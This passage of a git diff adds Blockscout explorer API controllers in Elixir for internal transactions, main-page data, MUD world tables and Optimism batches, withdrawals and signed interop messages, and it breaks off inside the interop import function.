changeset + end + end + + defp put_token_string_field(changeset, _token_symbol, _field), do: changeset + + defp get_api_key_header(conn) do + case get_req_header(conn, "x-api-key") do + [api_key] -> + api_key + + _ -> + nil + end + end + + defp validate_api_key_address_hash_and_token(token_address_hash_string, provided_api_key) do + with {:sensitive_endpoints_api_key, api_key} when not is_nil(api_key) <- + {:sensitive_endpoints_api_key, Application.get_env(:block_scout_web, :sensitive_endpoints_api_key)}, + {:api_key, ^api_key} <- {:api_key, provided_api_key}, + {:format_address, {:ok, address_hash}} <- + {:format_address, Chain.string_to_address_hash(token_address_hash_string)}, + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)} do + {:ok, token} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/internal_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/internal_transaction_controller.ex new file mode 100644 index 000000000000..39e9df1bb035 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/internal_transaction_controller.ex @@ -0,0 +1,84 @@ +defmodule BlockScoutWeb.API.V2.InternalTransactionController do + use BlockScoutWeb, :controller + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.InternalTransaction + alias Explorer.{Chain, Helper, PagingOptions} + + import BlockScoutWeb.Chain, + only: [ + split_list_by_page: 1, + paging_options: 1, + next_page_params: 3 + ] + + import Explorer.PagingOptions, only: [default_paging_options: 0] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @doc """ + Function to handle GET requests to `/api/v2/internal-transactions` endpoint. + """ + @spec internal_transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() + def internal_transactions(conn, params) do + with true <- + BackgroundMigrations.get_heavy_indexes_create_internal_transactions_block_number_desc_transaction_index_desc_index_desc_index_finished(), + transaction_hash = transaction_hash_from_params(params), + false <- transaction_hash == :invalid do + paging_options = paging_options(params) + options = options(paging_options, %{transaction_hash: transaction_hash, limit: params["limit"]}) + + result = + options + |> InternalTransaction.fetch() + |> split_list_by_page() + + {internal_transactions, next_page} = result + + next_page_params = + next_page |> next_page_params(internal_transactions, params) + + conn + |> put_status(200) + |> render(:internal_transactions, %{ + internal_transactions: internal_transactions, + next_page_params: next_page_params + }) + else + _ -> + empty_response(conn) + end + end + + defp empty_response(conn) do + conn + |> put_status(200) + |> render(:internal_transactions, %{ + internal_transactions: [], + next_page_params: nil + }) + end + + defp options(paging_options, params) do + paging_options + |> Keyword.put(:transaction_hash, params.transaction_hash) + |> Keyword.update(:paging_options, default_paging_options(), fn %PagingOptions{ + page_size: page_size + } = paging_options -> + maybe_parsed_limit = Helper.parse_integer(params["limit"]) + %PagingOptions{paging_options | page_size: min(page_size, maybe_parsed_limit && abs(maybe_parsed_limit))} + end) + |> Keyword.merge(@api_true) + end + + defp transaction_hash_from_params(params) do + with transaction_hash_string when not is_nil(transaction_hash_string) <- params["transaction_hash"], + {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string) do + transaction_hash + else + nil -> nil + :error -> :invalid + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/main_page_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/main_page_controller.ex new file mode 100644 index 000000000000..0770404624fa --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/main_page_controller.ex @@ -0,0 +1,104 @@ +defmodule BlockScoutWeb.API.V2.MainPageController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.{Chain, PagingOptions} + alias BlockScoutWeb.API.V2.{BlockView, OptimismView, TransactionView} + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Optimism.Deposit + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + case @chain_type do + :celo -> + @chain_type_transaction_necessity_by_association %{ + [gas_token: reputation_association()] => :optional + } + + _ -> + @chain_type_transaction_necessity_by_association %{} + end + + @transactions_options [ + necessity_by_association: + %{ + :block => :required, + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + |> Map.merge(@chain_type_transaction_necessity_by_association), + paging_options: %PagingOptions{page_size: 6}, + api?: true + ] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + def blocks(conn, _params) do + blocks = + [paging_options: %PagingOptions{page_size: 4}, api?: true] + |> Chain.list_blocks() + |> Repo.replica().preload([ + [miner: [:names, :smart_contract, proxy_implementations_association()]], + :transactions, + :rewards + ]) + + conn + |> put_status(200) + |> put_view(BlockView) + |> render(:blocks, %{blocks: blocks |> maybe_preload_ens() |> maybe_preload_metadata()}) + end + + def optimism_deposits(conn, _params) do + recent_deposits = + Deposit.list( + paging_options: %PagingOptions{page_size: 6}, + api?: true + ) + + conn + |> put_status(200) + |> put_view(OptimismView) + |> render(:optimism_deposits, %{deposits: recent_deposits}) + end + + def transactions(conn, _params) do + recent_transactions = Chain.recent_collated_transactions(false, @transactions_options) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:transactions, %{transactions: recent_transactions |> maybe_preload_ens() |> maybe_preload_metadata()}) + end + + def watchlist_transactions(conn, _params) do + with {:auth, %{watchlist_id: watchlist_id}} <- {:auth, current_user(conn)} do + {watchlist_names, transactions} = Chain.fetch_watchlist_transactions(watchlist_id, @transactions_options) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:transactions_watchlist, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + watchlist_names: watchlist_names + }) + end + end + + def indexing_status(conn, _params) do + indexed_ratio_blocks = Chain.indexed_ratio_blocks() + finished_indexing_blocks = Chain.finished_indexing_from_ratio?(indexed_ratio_blocks) + + json(conn, %{ + finished_indexing_blocks: finished_indexing_blocks, + finished_indexing: Chain.finished_indexing?(api?: true), + indexed_blocks_ratio: indexed_ratio_blocks, + indexed_internal_transactions_ratio: if(finished_indexing_blocks, do: Chain.indexed_ratio_internal_transactions()) + }) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/mud_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/mud_controller.ex new file mode 100644 index 000000000000..4e998ba106ad --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/mud_controller.ex @@ -0,0 +1,316 @@ +defmodule BlockScoutWeb.API.V2.MudController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 4, + split_list_by_page: 1 + ] + + import BlockScoutWeb.PagingHelper, only: [mud_records_sorting: 1] + import Explorer.PagingOptions, only: [default_paging_options: 0] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + + alias Explorer.Chain + alias Explorer.Chain.{Address, Data, Hash, Mud, Mud.Schema.FieldSchema, Mud.Table} + + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds` endpoint. + """ + @spec worlds(Plug.Conn.t(), map()) :: Plug.Conn.t() + def worlds(conn, params) do + {worlds, next_page} = + params + |> mud_paging_options(["world"], [Hash.Address]) + |> Mud.worlds_list() + |> split_list_by_page() + + world_addresses = + worlds + |> Chain.hashes_to_addresses( + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ) + |> Enum.into(%{}, &{&1.hash, &1}) + + next_page_params = + next_page_params(next_page, worlds, conn.query_params, fn item -> + %{"world" => item} + end) + + conn + |> put_status(200) + |> render(:worlds, %{ + worlds: + worlds + |> Enum.map(fn world -> Map.get(world_addresses, world, %Address{hash: world}) end) + |> maybe_preload_ens() + |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/count` endpoint. + """ + @spec worlds_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def worlds_count(conn, _params) do + count = Mud.worlds_count() + + conn + |> put_status(200) + |> render(:count, %{count: count}) + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/tables` endpoint. + """ + @spec world_tables(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_tables(conn, %{"world" => world_param} = params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)} do + options = params |> mud_paging_options(["table_id"], [Hash.Full]) |> Keyword.merge(mud_tables_filter(params)) + + {tables, next_page} = + world + |> Mud.world_tables(options) + |> split_list_by_page() + + next_page_params = + next_page_params(next_page, tables, conn.query_params, fn item -> + %{"table_id" => item |> elem(0)} + end) + + conn + |> put_status(200) + |> render(:tables, %{tables: tables, next_page_params: next_page_params}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/systems` endpoint. + """ + @spec world_systems(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_systems(conn, %{"world" => world_param} = _params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)} do + systems = world |> Mud.world_systems() + + conn + |> put_status(200) + |> render(:systems, %{systems: systems}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/systems/:system` endpoint. + """ + @spec world_system(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_system(conn, %{"world" => world_param, "system" => system_param} = _params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)}, + {:format, {:ok, system}} <- {:format, Hash.Address.cast(system_param)}, + {:ok, system_id, abi} <- Mud.world_system(world, system, @api_true) do + conn + |> put_status(200) + |> render(:system, %{system_id: system_id, abi: abi}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/tables/count` endpoint. + """ + @spec world_tables_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_tables_count(conn, %{"world" => world_param} = params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)} do + options = params |> mud_tables_filter() + + count = Mud.world_tables_count(world, options) + + conn + |> put_status(200) + |> render(:count, %{count: count}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/tables/:table_id/records` endpoint. + """ + @spec world_table_records(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_table_records(conn, %{"world" => world_param, "table_id" => table_id_param} = params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)}, + {:format, {:ok, table_id}} <- {:format, Hash.Full.cast(table_id_param)}, + {:ok, schema} <- Mud.world_table_schema(world, table_id) do + options = + params + |> mud_paging_options(["key_bytes", "key0", "key1"], [Data, Hash.Full, Hash.Full]) + |> Keyword.merge(mud_records_filter(params, schema)) + |> Keyword.merge(mud_records_sorting(params)) + + {records, next_page} = world |> Mud.world_table_records(table_id, options) |> split_list_by_page() + + blocks = Mud.preload_records_timestamps(records, @api_true) + + next_page_params = + next_page_params(next_page, records, conn.query_params, fn item -> + keys = [item.key_bytes, item.key0, item.key1] |> Enum.filter(&(!is_nil(&1))) + ["key_bytes", "key0", "key1"] |> Enum.zip(keys) |> Enum.into(%{}) + end) + + conn + |> put_status(200) + |> render(:records, %{ + records: records, + table_id: table_id, + schema: schema, + blocks: blocks, + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/tables/:table_id/records/count` endpoint. + """ + @spec world_table_records_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_table_records_count(conn, %{"world" => world_param, "table_id" => table_id_param} = params) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)}, + {:format, {:ok, table_id}} <- {:format, Hash.Full.cast(table_id_param)}, + {:ok, schema} <- Mud.world_table_schema(world, table_id) do + options = params |> mud_records_filter(schema) + + count = Mud.world_table_records_count(world, table_id, options) + + conn + |> put_status(200) + |> render(:count, %{count: count}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/mud/worlds/:world/tables/:table_id/records/:record_id` endpoint. + """ + @spec world_table_record(Plug.Conn.t(), map()) :: Plug.Conn.t() + def world_table_record( + conn, + %{"world" => world_param, "table_id" => table_id_param, "record_id" => record_id_param} = _params + ) do + with {:format, {:ok, world}} <- {:format, Hash.Address.cast(world_param)}, + {:format, {:ok, table_id}} <- {:format, Hash.Full.cast(table_id_param)}, + {:format, {:ok, record_id}} <- {:format, Data.cast(record_id_param)}, + {:ok, schema} <- Mud.world_table_schema(world, table_id), + {:ok, record} <- Mud.world_table_record(world, table_id, record_id) do + blocks = Mud.preload_records_timestamps([record], @api_true) + + conn + |> put_status(200) + |> render(:record, %{record: record, table_id: table_id, schema: schema, blocks: blocks}) + end + end + + defp mud_tables_filter(params) do + Enum.reduce(params, [], fn {key, value}, acc -> + case key do + "filter_namespace" -> + Keyword.put(acc, :filter_namespace, parse_namespace_string(value)) + + "q" -> + Keyword.put(acc, :filter_search, parse_search_string(value)) + + _ -> + acc + end + end) + end + + defp parse_namespace_string(namespace) do + filter = + case namespace do + nil -> {:ok, nil} + "0x" <> hex -> Base.decode16(hex, case: :mixed) + str -> {:ok, str} + end + + case filter do + {:ok, ns} when is_binary(ns) and byte_size(ns) <= 14 -> + ns |> String.pad_trailing(14, <<0>>) + + _ -> + :error + end + end + + defp parse_search_string(q) do + # If the search string looks like hex-encoded table id or table full name, + # we try to parse and filter by that table id directly. + # Otherwise we do a full-text search of given string inside table id. + with :error <- Hash.Full.cast(q), + :error <- Table.table_full_name_to_table_id(q) do + q + else + {:ok, table_id} -> table_id + end + end + + defp mud_records_filter(params, schema) do + Enum.reduce(params, [], fn {key, value}, acc -> + case key do + "filter_key0" -> Keyword.put(acc, :filter_key0, encode_filter(value, schema, 0)) + "filter_key1" -> Keyword.put(acc, :filter_key1, encode_filter(value, schema, 1)) + _ -> acc + end + end) + end + + defp encode_filter(value, schema, field_idx) do + case value do + "false" -> + <<0::256>> + + "true" -> + <<1::256>> + + "0x" <> hex -> + with {:ok, bin} <- Base.decode16(hex, case: :mixed) do + # addresses are padded to 32 bytes with zeros on the right + if FieldSchema.type_of(schema.key_schema, field_idx) == 97 do + <<0::size(256 - byte_size(bin) * 8), bin::binary>> + else + <> + end + end + + dec -> + with {num, _} <- Integer.parse(dec) do + <> + end + end + end + + defp mud_paging_options(params, keys, types) do + page_key = + keys + |> Enum.zip(types) + |> Enum.reduce(%{}, fn {key, type}, acc -> + with param when param != nil <- Map.get(params, key), + {:ok, val} <- type.cast(param) do + acc |> Map.put(String.to_existing_atom(key), val) + else + _ -> acc + end + end) + + if page_key == %{} do + [paging_options: default_paging_options()] + else + [paging_options: %{default_paging_options() | key: page_key}] + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/optimism_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/optimism_controller.ex new file mode 100644 index 000000000000..2faacc0a70ee --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/optimism_controller.ex @@ -0,0 +1,864 @@ +defmodule BlockScoutWeb.API.V2.OptimismController do + use BlockScoutWeb, :controller + + require Logger + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + paging_options: 1, + split_list_by_page: 1 + ] + + import Explorer.Helper, only: [hash_to_binary: 1] + + alias BlockScoutWeb.API.V2.ApiView + alias Explorer.Chain + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.{Data, Hash, Token, Transaction} + + alias Explorer.Chain.Optimism.{ + Deposit, + DisputeGame, + FrameSequence, + FrameSequenceBlob, + InteropMessage, + OutputRoot, + TransactionBatch, + Withdrawal + } + + alias Indexer.Fetcher.Optimism.Interop.MessageQueue, as: InteropMessageQueue + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @doc """ + Function to handle GET requests to `/api/v2/optimism/txn-batches` and + `/api/v2/optimism/txn-batches/:l2_block_range_start/:l2_block_range_end` endpoints. + """ + @spec transaction_batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def transaction_batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Keyword.put(:l2_block_range_start, Map.get(params, "l2_block_range_start")) + |> Keyword.put(:l2_block_range_end, Map.get(params, "l2_block_range_end")) + |> TransactionBatch.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, batches, params) + + conn + |> put_status(200) + |> render(:optimism_transaction_batches, %{ + batches: batches, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/txn-batches/count` endpoint. + """ + @spec transaction_batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def transaction_batches_count(conn, _params) do + items_count(conn, TransactionBatch) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/batches` endpoint. + """ + @spec batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Keyword.put(:only_view_ready?, true) + |> FrameSequence.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, batches, params) + + items = + batches + |> Enum.map(fn fs -> + Task.async(fn -> + l2_block_number_from = TransactionBatch.edge_l2_block_number(fs.id, :min) + l2_block_number_to = TransactionBatch.edge_l2_block_number(fs.id, :max) + + l2_block_range = + if not is_nil(l2_block_number_from) and not is_nil(l2_block_number_to) do + l2_block_number_from..l2_block_number_to + end + + # credo:disable-for-lines:2 Credo.Check.Refactor.Nesting + transactions_count = + case l2_block_range do + nil -> 0 + range -> Transaction.transaction_count_for_block_range(range) + end + + {batch_data_container, _} = FrameSequenceBlob.list(fs.id, api?: true) + + fs + |> Map.put(:l2_block_range, l2_block_range) + |> Map.put(:transactions_count, transactions_count) + |> Map.put(:batch_data_container, batch_data_container) + end) + end) + |> Task.yield_many(:infinity) + |> Enum.map(fn {_task, {:ok, item}} -> item end) + |> Enum.reject(&is_nil(&1.l2_block_range)) + + conn + |> put_status(200) + |> render(:optimism_batches, %{ + batches: items, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/batches/count` endpoint. + """ + @spec batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_count(conn, _params) do + items_count(conn, FrameSequence) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/batches/da/celestia/:height/:commitment` endpoint. + """ + @spec batch_by_celestia_blob(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_by_celestia_blob(conn, %{"height" => height, "commitment" => commitment}) do + {height, ""} = Integer.parse(height) + + commitment = + if String.starts_with?(String.downcase(commitment), "0x") do + commitment + else + "0x" <> commitment + end + + batch = FrameSequence.batch_by_celestia_blob(commitment, height, api?: true) + + if is_nil(batch) do + {:error, :not_found} + else + conn + |> put_status(200) + |> render(:optimism_batch, %{batch: batch}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/batches/:number` endpoint. + """ + @spec batch_by_number(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_by_number(conn, %{"number" => number}) do + {number, ""} = Integer.parse(number) + + batch = FrameSequence.batch_by_number(number, api?: true) + + if is_nil(batch) do + {:error, :not_found} + else + conn + |> put_status(200) + |> render(:optimism_batch, %{batch: batch}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/output-roots` endpoint. + """ + @spec output_roots(Plug.Conn.t(), map()) :: Plug.Conn.t() + def output_roots(conn, params) do + {roots, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> OutputRoot.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, roots, params) + + conn + |> put_status(200) + |> render(:optimism_output_roots, %{ + roots: roots, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/output-roots/count` endpoint. + """ + @spec output_roots_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def output_roots_count(conn, _params) do + items_count(conn, OutputRoot) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/games` endpoint. + """ + @spec games(Plug.Conn.t(), map()) :: Plug.Conn.t() + def games(conn, params) do + {games, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> DisputeGame.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, games, params) + + conn + |> put_status(200) + |> render(:optimism_games, %{ + games: games, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/games/count` endpoint. + """ + @spec games_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def games_count(conn, _params) do + count = DisputeGame.get_last_known_index() + 1 + + conn + |> put_status(200) + |> render(:optimism_items_count, %{count: count}) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/deposits` endpoint. + """ + @spec deposits(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits(conn, params) do + {deposits, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Deposit.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, deposits, params) + + conn + |> put_status(200) + |> render(:optimism_deposits, %{ + deposits: deposits, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/deposits/count` endpoint. + """ + @spec deposits_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits_count(conn, _params) do + items_count(conn, Deposit) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/interop/messages/:unique_id` endpoint. + """ + @spec interop_message(Plug.Conn.t(), map()) :: Plug.Conn.t() + def interop_message(conn, params) do + unique_id = Map.get(params, "unique_id", "") + + with true <- String.length(unique_id) == 16, + {init_chain_id_string, nonce_string} = String.split_at(unique_id, 8), + {init_chain_id, ""} <- Integer.parse(init_chain_id_string, 16), + {nonce, ""} <- Integer.parse(nonce_string, 16), + msg = InteropMessage.get_message(init_chain_id, nonce), + false <- is_nil(msg) do + current_chain_id = + case ChainId.get_id() do + nil -> Application.get_env(:block_scout_web, :chain_id) + chain_id -> chain_id + end + + relay_chain_id = msg.relay_chain_id + + direction = + case current_chain_id do + ^init_chain_id -> :out + ^relay_chain_id -> :in + _ -> nil + end + + transfer_token = + if not is_nil(msg.transfer_token_address_hash) do + case Token.get_by_contract_address_hash(msg.transfer_token_address_hash, @api_true) do + nil -> %{contract_address_hash: msg.transfer_token_address_hash, symbol: nil, decimals: nil} + t -> %{contract_address_hash: t.contract_address_hash, symbol: t.symbol, decimals: t.decimals} + end + end + + message = + msg + |> InteropMessage.extend_with_status() + |> Map.put(:init_chain, interop_chain_id_to_instance_info(msg.init_chain_id)) + |> Map.put(:relay_chain, interop_chain_id_to_instance_info(msg.relay_chain_id)) + |> Map.put(:direction, direction) + |> Map.put(:transfer_token, transfer_token) + + conn + |> put_status(200) + |> render(:optimism_interop_message, %{message: message}) + else + _ -> + conn + |> put_view(ApiView) + |> put_status(:not_found) + |> render(:message, %{message: "Invalid message id or the message with such id is not found"}) + end + end + + # Calls `InteropMessage.interop_chain_id_to_instance_info` function and depending on the result + # returns a map with the instance info. + # + # ## Parameters + # - `chain_id`: ID of the chain the instance info is needed for. + # + # ## Returns + # - A map with the instance info. + # - If the info cannot be retrieved, anyway returns the map with a single `chain_id` item. + @spec interop_chain_id_to_instance_info(non_neg_integer()) :: map() + defp interop_chain_id_to_instance_info(chain_id) do + case InteropMessage.interop_chain_id_to_instance_info(chain_id) do + nil -> %{chain_id: chain_id} + chain -> chain + end + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/interop/messages` endpoint. + """ + @spec interop_messages(Plug.Conn.t(), map()) :: Plug.Conn.t() + def interop_messages(conn, params) do + current_chain_id = + case ChainId.get_id() do + nil -> Application.get_env(:block_scout_web, :chain_id) + chain_id -> chain_id + end + + {messages, next_page} = + params + |> interop_extract_message_filters() + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + |> Keyword.merge(current_chain_id: current_chain_id) + |> InteropMessage.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, messages, Map.take(params, ["items_count"])) + + messages_extended = + messages + |> Enum.map(fn message -> + message_extended = + cond do + message.init_chain_id != current_chain_id and not is_nil(current_chain_id) -> + Map.put(message, :init_chain, InteropMessage.interop_chain_id_to_instance_info(message.init_chain_id)) + + message.relay_chain_id != current_chain_id and not is_nil(current_chain_id) -> + Map.put(message, :relay_chain, InteropMessage.interop_chain_id_to_instance_info(message.relay_chain_id)) + + true -> + message + end + + InteropMessage.extend_with_status(message_extended) + end) + + conn + |> put_status(200) + |> render(:optimism_interop_messages, %{ + messages: messages_extended, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/interop/messages/count` endpoint. + """ + @spec interop_messages_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def interop_messages_count(conn, _params) do + conn + |> put_status(200) + |> render(:optimism_items_count, %{count: InteropMessage.count(@api_true)}) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/withdrawals` endpoint. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals(conn, params) do + {withdrawals, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Withdrawal.list() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, withdrawals, params) + + conn + |> put_status(200) + |> render(:optimism_withdrawals, %{ + withdrawals: withdrawals, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/withdrawals/count` endpoint. + """ + @spec withdrawals_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals_count(conn, _params) do + items_count(conn, Withdrawal) + end + + @doc """ + Function to handle GET requests to `/api/v2/optimism/interop/public-key` endpoint. + """ + @spec interop_public_key(Plug.Conn.t(), map()) :: Plug.Conn.t() + def interop_public_key(conn, _params) do + env = Application.get_all_env(:indexer)[InteropMessageQueue] + + with {:ok, private_key} <- env[:private_key] |> String.trim_leading("0x") |> Base.decode16(case: :mixed), + {:ok, public_key} <- ExSecp256k1.create_public_key(private_key) do + conn + |> put_status(200) + |> render(:optimism_interop_public_key, %{public_key: %Data{bytes: public_key}}) + else + _ -> + Logger.error("Interop: cannot derive a public key from the private key. Private key is invalid or undefined.") + + conn + |> put_view(ApiView) + |> put_status(:not_found) + |> render(:message, %{message: "private key is invalid or undefined"}) + end + end + + @doc """ + Function to handle POST request to `/api/v2/import/optimism/interop/` endpoint. + Accepts `init` part of the interop message from the source instance or + `relay` part of the interop message from the target instance. + """ + @spec interop_import(Plug.Conn.t(), map()) :: Plug.Conn.t() + def interop_import( + conn, + %{ + "sender_address_hash" => sender_address_hash, + "target_address_hash" => target_address_hash, + "nonce" => nonce, + "init_chain_id" => init_chain_id, + "init_transaction_hash" => init_transaction_hash, + "timestamp" => timestamp_unix, + "relay_chain_id" => relay_chain_id, + "payload" => payload, + "signature" => "0x" <> signature + } = params + ) + when is_integer(init_chain_id) do + # accept `init` part of the interop message from the source instance + data_to_verify = + sender_address_hash <> + target_address_hash <> + Integer.to_string(nonce) <> + Integer.to_string(init_chain_id) <> + init_transaction_hash <> Integer.to_string(timestamp_unix) <> Integer.to_string(relay_chain_id) <> payload + + interop_import_internal(init_chain_id, data_to_verify, signature, params, &InteropMessage.get_relay_part/2, conn) + end + + def interop_import( + conn, + %{ + "nonce" => nonce, + "init_chain_id" => init_chain_id, + "relay_chain_id" => relay_chain_id, + "relay_transaction_hash" => relay_transaction_hash, + "failed" => failed, + "signature" => "0x" <> signature + } = params + ) + when is_integer(relay_chain_id) do + # accept `relay` part of the interop message from the target instance + data_to_verify = + Integer.to_string(nonce) <> + Integer.to_string(init_chain_id) <> + Integer.to_string(relay_chain_id) <> relay_transaction_hash <> to_string(failed) + + interop_import_internal(relay_chain_id, data_to_verify, signature, params, &InteropMessage.get_init_part/2, conn) + end + + # Implements import logic for the interop message's data sent to `/api/v2/import/optimism/interop/` endpoint. + # Used by the public `interop_import` function. It requests a public key from the remote Blockscout instance, + # then after verifying the data with this key, imports the data to database and renders missed part of the message + # for the remote side (the request was sent from). In case of any error, responds with the corresponding HTTP code + # and renders the corresponding error message. + # + # ## Parameters + # - `remote_chain_id`: Chain ID of the remote instance which public key should be retrieved for data verifying. + # - `data_to_verify`: Signed binary data which needs to be verified with the public key. + # - `signature`: A string in hex representation (without 0x prefix) containing the signature. + # - `params`: JSON parameters got from the corresponding POST request sent by the remote instance. + # - `missed_part_fn`: Reference to the function that should return missed part of the message data (from db) for the remote side. + # - `conn`: The connection struct. + # + # ## Returns + # - The connection struct with the rendered response. + @spec interop_import_internal(non_neg_integer(), String.t(), String.t(), map(), function(), Plug.Conn.t()) :: + Plug.Conn.t() + defp interop_import_internal(remote_chain_id, data_to_verify, signature, params, missed_part_fn, conn) do + # we need to know the remote instance API URL to get public key from that + public_key = + remote_chain_id + |> InteropMessage.interop_chain_id_to_instance_api_url() + |> interop_fetch_public_key() + + with {:empty_public_key, false} <- {:empty_public_key, is_nil(public_key)}, + {:wrong_signature, false} <- + {:wrong_signature, + ExSecp256k1.verify(ExKeccak.hash_256(data_to_verify), Base.decode16!(signature, case: :mixed), public_key) != + :ok}, + # the data is verified, so now we can import that to the database + {:ok, _} <- + Chain.import(%{optimism_interop_messages: %{params: [interop_prepare_import(params)]}, timeout: :infinity}) do + conn + |> put_status(200) + |> render(:optimism_interop_response, missed_part_fn.(params["init_chain_id"], params["nonce"])) + else + 